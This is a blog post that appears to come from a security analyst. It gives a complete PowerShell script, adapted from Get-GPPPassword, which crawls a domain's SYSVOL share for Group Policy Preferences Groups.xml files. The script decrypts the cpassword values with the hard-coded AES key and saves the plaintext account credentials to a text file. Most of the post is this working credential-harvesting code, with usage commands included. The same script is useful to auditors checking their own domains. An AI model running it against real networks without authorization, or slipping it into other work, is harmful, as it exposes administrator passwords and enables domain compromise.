This script parses the domain’s Policies folder looking for Group.xml files. These files contain either a username change, password setting, or both. This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences. Microsoft chose to use a static AES key for encrypting this password. How awesome is that!
The password is encrypted once with AES in CBC mode at 256 bits. The key used is:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
A big thank you to my friend Keith B who helped me with tips for the PowerShell code. I definitely do not have a background working with PS and learned some cool things along the way.
This script was modified from original work by Chris Campbell as noted in the comments.
Update: 21 Oct 2012: With feedback from Piet Carpentier (@DFTER) and ‘Joe’ I’ve modified the decryptPassword function to correct an issue where the string was sometimes too long or not returned which was returning as a failed decryption rather than a missing string or incorrectly decoded string. Thanks guys!
Update: 14 Dec 2012: Reviewed this and found a couple things I could fix or improve on. The functions return better information and I fixed a bug that caused decryption failures in some cases.
Running this script:
- Run it against the current domain to find everything:
- PS C:\> .\GPO-Passwords.ps1
- Run it against a local copy of a Groups.xml file:
- PS C:\> .\GPO-Passwords.ps1 -local .\Groups.xml
<#
#################################################
# Group Policy Preferences Password check by: #
# Nathan V #
# Cyber Security Analyst #
# http://nathanv.com #
# #
# For assistance and new versions contact #
# nathan.v@gmail.com #
# This file updated: 14 Dec 2012 #
#################################################
# This script (c)2012 Nathan V : License: GPLv2 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html #
#################################################
# Based on Get-GPPPassword by: #
# Chris Campbell #
# www.obscuresecurity.blogspot.com #
# @obscuresec #
#################################################
#>
Param(
[alias("local")]
$localfile)
# Import the Group Policy module; required for finding the GPO name for each password. If this fails the names will not resolve but other functions will still work.
import-module grouppolicy -ea SilentlyContinue
$results = @() # declare dynamic results array
# Function to allow us to go to the network DIR and then return back to where we started
function cdir {
if ($args[0] -eq '-') {
$pwd=$OLDPWD;
} else {
$pwd=$args[0];
}
$tmp=pwd;
if ($pwd) {
Set-Location $pwd;
}
Set-Variable -Name OLDPWD -Value $tmp -Scope global;
}
#Function to pull encrypted password string from groups.xml
function parsecPassword {
try {
[xml] $Xml = Get-Content ($Path)
[string] $cPassword = $Xml.Groups.User.Properties.cpassword
} catch { $cPassword = "No Password Policy Found" }
return $cPassword
}
#Function to look to see if the administrator account is given a newname
function parseNewName {
try {
[xml] $Xml = Get-Content ($Path)
[string] $newName = $Xml.Groups.User.Properties.newName
if ($newName) {
return $newName
} else {
return "No Username Specified"
}
} catch { $newName = "Error" }
}
#Function to parse out the Username whose password is being specified
function parseUserName {
try {
[xml] $Xml = Get-Content ($Path)
[string] $userName = $Xml.Groups.User.Properties.userName
if ($userName) {
return $userName
} else {
return "No Username Specified"
}
} catch { $userName = "Error" }
}
#Function that decodes and decrypts password
function decryptPassword {
try {
if( $cPassword.Length -eq 0 ) {
return "Empty Password!"
} elseif( $cPassword.Length -gt 64 ) {
[string]$cPassword = [string]$cPassword.Substring(0,64)
} else {`
[string]$Pad = "=" * (4 - ($cPassword.length % 4))
}
$b64Decoded = [Convert]::FromBase64String($cPassword + $Pad)
$aesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $aesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$aesIV = New-Object Byte[]($aesObject.IV.Length)
$aesObject.IV = $aesIV
$aesObject.Key = $aesKey
$decryptorObject = $aesObject.CreateDecryptor()
[Byte[]] $outBlock = $decryptorObject.TransformFinalBlock($b64Decoded, 0, $b64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($outBlock)
} catch { return "Decryption Failed!" }
}
# Function to find the policy name to locate where the password is valid
function getGPO {
$guid = $Path.Substring(1,36)
try {
$gpoName = get-gpo -guid $guid | Select-Object -ExpandProperty DisplayName
} catch {
$gpoName = "Unable to find GPO name"
}
return $gpoName
}
# Function to parse the XML, decrypt the key, and return the results.
function parseDecrypt($path) {
$cPassword = parsecPassword
$password = decryptPassword
$newName = parseNewName
$userName = parseUserName
if ($localfile -eq $null) {$gpo = getGPO} else {$gpo = "Local file"}
$results = "$username, $newName, $password, $gpo"
return $results
}
Clear-Host
if ($localfile -eq $null) {
Write-Host "Searching $Env:UserDNSDomain for Group Policy Preferences passwords."
Write-Host "On a large domain this may take some time. Please wait..."
$sourceXML = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies" -recurse -name -include Groups.xml
cdir \\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies\ # Due to the potential length of the filenames given a long domain name we CD to the Policies folder to shrink it down
} else {
Write-Host "-local used; checking file $file"
$sourceXML = $localfile
}
Write-Host " "
Write-Host "Username, New name (if any), Password, source GPO:"
Write-Host " "
foreach($file in $sourceXML) {
$results += parseDecrypt $file
}
if ($localfile -eq $null) {cdir -}
"Username, New name (if any), Password, source GPO:" > ".\domain_passwords.txt"
foreach($result in $results) {
Write-Host $result
$result >> ".\domain_passwords.txt"
}
Write-Host " "
Write-Host "List of discovered setttings saved as .\domain_passwords.txt"